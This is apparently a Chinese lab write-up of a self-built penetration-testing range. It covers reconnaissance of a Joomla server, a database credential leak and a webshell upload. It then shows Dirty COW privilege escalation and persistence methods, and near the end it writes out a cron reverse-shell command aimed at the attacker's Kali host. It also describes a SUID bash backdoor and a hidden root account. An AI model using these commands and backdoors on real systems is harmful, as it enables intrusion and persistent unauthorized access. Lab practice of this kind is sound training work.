目录
一、前言
二、靶场设计
1、局域网
2、说明
三、渗透测试
1、信息收集
2、漏洞利用
四、后渗透利用
1、提权
2、权限维持
一、前言
为了深入贯彻学习网络安全法律法规,深入学习渗透测试知识,强化实战技能............
编不出来了,反正今天的主题就是设计一个靶场然后渗透一遍。
二、靶场设计
1、局域网
整体资产设计:
资产 | IP | 说明 | 数量 |
Kali Linux | 192.168.43.203 | 黑客攻击机,桥接模式 | 1 |
Centos | 网卡1:192.168.43.57 网卡2:192.168.93.100 | 搭建某web服务,为出网机,桥接和仅主机双网卡模式 | 1 |
Ubantu | 192.168.93.120 | 内网Linux主机 | 1 |
Window7 PC | 192.168.93.30 | 未知,待探测 | 1 |
Windows server2008 | 192.168.93.20 | 未知,待探测 | 1 |
Windows server2012 | IP未知,待探测 | 未知,待探测 | 1 |
物理主机 | 192.168.43.151 | 真实主机 | 1 |
整体拓扑:
VMware中网卡呈现:
2、说明
- 启动VMware Workstation并打开要编辑网卡的虚拟机;点击菜单栏上的“编辑虚拟机设置”;在虚拟机设置对话框中,选择“网络适;在此选项卡中,更改虚拟机的网络连接类型和网卡设置;如果要使用主机网络连接类型,请选择“桥接”选项,并选择要使用的物理网卡;如果要使用NAT网络连接类型,请选择“NAT”选项,并选择要使用的网卡;如果要使用虚拟网络连接类型,请选择“虚拟网络”选项,并选择要使用的虚拟网络;如果需要手动配置IP地址、子网掩码、网关和DNS服务器,可以选择“手动”选项,并输入相应的信息;完成设置后,单击“确定”按钮保存更改。添加网卡VMnet2,模式仅主机模式,即将虚拟机连接到计算机的物理网络上,使得虚拟机可以像真实计算机一样通过局域网访问 Internet 和其他网络设备。网段为192.168.93.0 子网掩码为255.255.255.0,采用DHCP进行自动IP地址分配。
- Kali Linux网络环境配置:编辑Kali Linux网络配置文件/etc/network/intrfaces,修改配置文件使其动态获取桥接网卡IP地址。
- Centos部署:打开终端,可以使用任何终端应用程序来执行以下命令;查看当前网络配置:可以使用命令“ifconfig”或“ip addr”来查看当前网络配置;找到要配置的网络接口名称。可以在上一步中查看网络接口的名称;打开网络配置文件:打开配置文件“/etc/sysconfig/network-scripts/ifcfg-<网络接口名称>”,例如,“/etc/sysconfig/network-scripts/ifcfg-eth0”;配置网络接口:在文件中,可以设置各种选项,如IP地址、子网掩码、网关、DNS服务器、MAC地址等。部署模式为双网卡,eth0为桥接模式,网卡IP地址:192.168.43.57,子网255.255.255.0,该网卡能够出网,模拟为公网服务器;eth1为仅主机网卡,网卡IP地址为:192.168.93.100,子网255.255.255.0,该网卡不能出网。需满足Centos能够和物理主机、Kali Linux通信,且能够和内网主机PC通信。
- Ubantu网卡配置: 打开终端:可以使用任何终端应用程序来执行以下命令;查看当前网络配置:可以使用命令“ifconfig”或“ip addr”来查看当前网络配置;找到要配置的网络接口名称:网络接口名称可能是“eth0”、“enp0s3”等。可以在上一步中查看网络接口的名称;打开网络配置文件:打开配置文件“/etc/netplan/01-netcfg.yaml”;配置网络接口:在文件中,设置各种选项,如IP地址、子网掩码、网关、DNS服务器等。配置该Linux主机网卡为仅主机模式,IP的地址为:192.168.93.120,子网255.255.255.0;能和Centos通信。
- Window7部署:Window7网卡VMnet2,模式为仅主机模式,固定IP地址为192.168.93.30 子网掩码255.255.255.0;不能和物理主机、Kali Linux通信。
- AD域内主机部署:Windows server2008,网卡仅主机模式,IP地址:192.168.93.20,子网255.255.255.0,纯内网服务器,其他信息待渗透;Windows server2012,网卡仅主机模式,IP地址:未知,需渗透,纯内网主机。
- Linux内核漏洞:脏牛漏洞+Joomla系统=3.9漏洞部署于centos系统之上。
三、渗透测试
1、信息收集
本节内容将使用工具Nmap进行信息收集演示,获取目标系统、网络或应用程序的相关信息,包括IP地址、域名、服务器类型、网络拓扑结构、开放端口、操作系统版本、应用程序版本等。已知待测试网段为:192.168.43.0/24。步骤如下:
- 存活主机探测:结果显示主机192.168.43.57、192.168.43.151(物理主机)、192.168.43.203(Kali Linux)、192.168.43.125(手机无线网关)存活,如图4-1所示。
操作系统、端口服务探测:结果显示主机192.168.43.57为Linux主机,内核是2.6.32-3.10版本,主机开启了22-ssh、80-http、3306-Mysql服务,如图4-2所示。
- 验证服务信息:ssh服务暂时无法利用;验证http服务存在,图4-3所示,可进一步利用。
- 继续探测http服务信息:渗透插件Wappalyzer识别web服务使用的技术,见表4-1、图4-4;Metasploit识别具体地点joomla版本信息,见图4-5;查看robots.txt文件、扫描网站泄露文件信息,图4-6所示。
表4-1 汇总Joomla使用技术框架
技术 | 说明 |
CMS | Joomla3.9.12 |
后端语言 | PHP |
字体脚本 | Google Font API |
JavaScript库 | jQuery Migrate 1.4.1、jQuery 1.12.4 |
反向代理 | Nginx 1.9.4 |
Web服务器 | Nginx 1.9.4 |
UI框架 | Bootstrap |
图4-4 Wappalyzer插件收集Joomla技术信息
图4-5 Metasploit识别Joomla信息
图5-6 Dirsearch 爆破目录文件信息
- 存在文件泄露数据库信息,如图4-7所示。
图4-7 数据库信息泄露
2、漏洞利用
本节将会演示漏洞的利用方法和过程:
- Kali Linux自带的Mysql登录192.168.43.57数据库后台:有关键数据库Joomla,关键数据表am2zu_users、umnbt_users,如下图4-8所示。
图4-8 攻击数据库
- 查询关键字段值(图),各个字段的Mysql数据类型描述(图);尝试修改表中的用户密码信息,修改成功,但是无法登录,原因是使用了token技术将用户进行了绑定操作,密码做了加盐处理,如图4-9所示。
图4-9 攻击数据库信息
- 尝试导出各个字段的类型,进行新用户插入操作,如图4-10所示:
图4-10 攻击数据库字段
将得到的表中的数据类型进行归纳,Joomla CMS官网给出官方重置管理员密码操作,尝试进行插入数据操作,如图4-11;成功插入管理员账号密码,如下图4-12。
图4-11 Joomla官方重置管理员密码操作
图 4-12 数据库修管理员密码
以管理员身份登录网站,图4-13;发现网站有文件上传和文件写入漏洞,写入PHP木马,图4-14、图4-15。
图4-13 成功攻击web系统
图4-14 Joomla 文件上传漏洞
绝对路径是 http://192.168.43.57/templates/beez3/html/hhh.php,蚁剑链接,发现对一些执行命令的函数进行了禁用,使用插件进行绕过,如下图4-16和4-17。
图4-16 蚁剑webshell管理工具
图4-17 蚁剑绕过Disable_function
内网主机无法出网,无法反弹shell,继续查看被控主机文件,发现/tmp/mysql/目录下有敏感文件,如图4-18。
图4-18 发现泄露密码账号信息
结合之前信息收集到的22-ssh服务信息,尝试进行远程连接,成功远程,如图4-19。
图4-19 Xshell远程连接目标主机
四、后渗透利用
1、提权
- 收集主机信息:内核发行版本信息、网络信息,Linux内核2.6.32,eth0:192.168.43.57,eth1:192.168.93.100,主机内核版本太低,尝试使用内核漏洞进行提权。如图4-20使用Searchsploit工具进行内核版本漏洞利用,可使用脏牛漏洞提权。
图4-20 使用Searchsploit利用内核漏洞
- 将生成的c代码上传至漏洞主机上执行gcc编译,如图4-21;运行编译后的文件就可以对/etc/passwd文件进行修改,成功提权至root权限,至此该192.168.43.57主机已经完全被制下来了,如图4-22。
图4-21 上传脏牛漏洞exp
图4-22 编译执行exp后提权成功
2、权限维持
- 后门维持探索:添加root账户:添加账户为r00t,密码为password的root账户,图4-23。
图4-23 添加root权限账户维持权限
- 设置suid位权限:设置了suid位权限的文件在执行时具有该文件拥有者的权限,因此可以在root权限时留一个bash文件的后门,在低权限的时候能够通过该后门获得root权限,如图4-24。
图4-24 SUID权限维持
- 写入计划任务:将反弹命令写入到Linux的计划任务中,周期执行shell反弹计划,如图4-25,命令:echo -e "*/1 * * * * exec 9<>/dev/tcp/192.168.43.203/8888;exec 0<&9;exec 1>&9 2>&1;/bin/bash --noprofile -i" | crontab -。
图4-25 计划任务权限维持
- 告辞,后面在进行内网横移和AD渗透。